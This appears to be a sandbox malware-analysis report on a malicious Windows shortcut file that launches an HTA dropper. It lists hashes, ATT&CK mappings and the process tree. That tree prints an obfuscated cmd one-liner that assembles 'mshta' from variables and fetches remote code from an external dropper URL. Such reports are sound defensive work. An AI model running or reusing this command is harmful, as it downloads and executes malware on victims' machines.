4b1057472f60343e8d339f1e10678a6da3b3fa0eb6254973de80a8ac4f67fe49

Analysis

max time kernel
40s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 16:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-1YRPUN.lnk
Size 1KB
Sample260803-vas3lsfm9w
SHA256 4b1057472f60343e8d339f1e10678a6da3b3fa0eb6254973de80a8ac4f67fe49
MD5 d5d611444f610141f8c89232da5b9c04
SHA1 7ee26d2d30f341489722b37a8d36b12a5a2e9ded
SHA512 c30e6c5d094423ef0599711e8db5f914577d9b938460be3a6bfe3220b2266e2b1340261feb18a69f09e823c2a96700340ac20a27635bf1506874769847b5bd22
TLSH
T1AE3197003FFD0664F3F79F7685BB572089BAB8598D20C72E0041460C5062A15E13AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4372	cmd.exe
2856	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4372 wrote to memory of 2856	4372	cmd.exe	90
PID 2856 wrote to memory of 624	2856	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1YRPUN.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4372
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set ofx=msh&&set GeAsG=ta&&start "" !ofx!!GeAsG! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2856
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:624

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads